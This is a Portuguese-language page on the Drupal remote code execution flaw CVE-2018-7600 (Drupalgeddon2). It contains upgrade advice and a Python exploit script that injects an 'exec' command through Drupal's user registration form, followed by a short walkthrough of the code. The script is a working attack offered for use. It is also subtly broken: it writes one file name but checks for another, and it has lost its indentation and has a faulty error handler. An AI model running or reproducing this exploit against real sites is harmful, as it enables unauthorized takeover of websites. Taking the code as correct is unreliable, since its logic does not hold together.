
CVE-2018-7600.
Drupal RCE CVE-2018-7600
Não se esqueça de colocar o seu endereço no script!
Descrição: Existe uma vulnerabilidade de execução remota de código em vários subsistemas do Drupal 7.x e 8.x. Isso potencialmente permite que atacantes explorem múltiplos vetores de ataque em um site Drupal, o que pode resultar no comprometimento completo do site.
Solução: Atualize para a versão mais recente do núcleo do Drupal 7 ou 8.
Se você estiver executando 7.x, atualize para o Drupal 7.58. (Se você não puder atualizar imediatamente, você pode tentar aplicar este patch para corrigir a vulnerabilidade até que consiga atualizar completamente.) Se você estiver executando 8.5.x, atualize para o Drupal 8.5.1. (Se você não puder atualizar imediatamente, você pode tentar aplicar este patch para corrigir a vulnerabilidade até que consiga atualizar completamente.)
#!/usr/bin/python2.7
'''_____________________________________________________________________
|[] R3DXPL0IT SHELL |ROOT]|!"|
|"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""|"|
|CODED BY > R3DXPLOIT(JIMMY) | |
|EMAIL > [email protected] | |
|GITHUB > https://github.com/r3dxpl0it | |
|WEB-PAGE > https://r3dxpl0it.Github.io |_|
|_____________________________________________________________________|/|
'''
'''
https://nvd.nist.gov/vuln/detail/CVE-2018-7600#
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
'''
import sys
import requests
def exploit(target):
pass
proxies = {}
verify = False
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "vulnerable to cve-7600-2018 exploit" | tee r3dxploit.txt'}
url = target + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
print ( '[*]' + ' requesting post')
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
try:
scan = requests.get(target + 'vulnerable.txt')
if scan.status_code != 200:
print ( ' not vulnerable to cve-2018-7600 exploit \n')
if scan.status_code == 200:
print (' vulnerable to cve-2018-7600 exploit')
print (' url: ' + target + 'vulnerable.txt \n')
except requests.ConnectionError:
print (' target connection timeout')
except Exception as e :
print ('Connction Failed ' + e )
if __name__ == '__main__':
exploit(sys.argv[1])
Análise do código.
main -> exploit
argv[1] - argumento alvo scan. status_code — gera o resultado de acordo com o valor do status do código Tratamento de exceções de eventos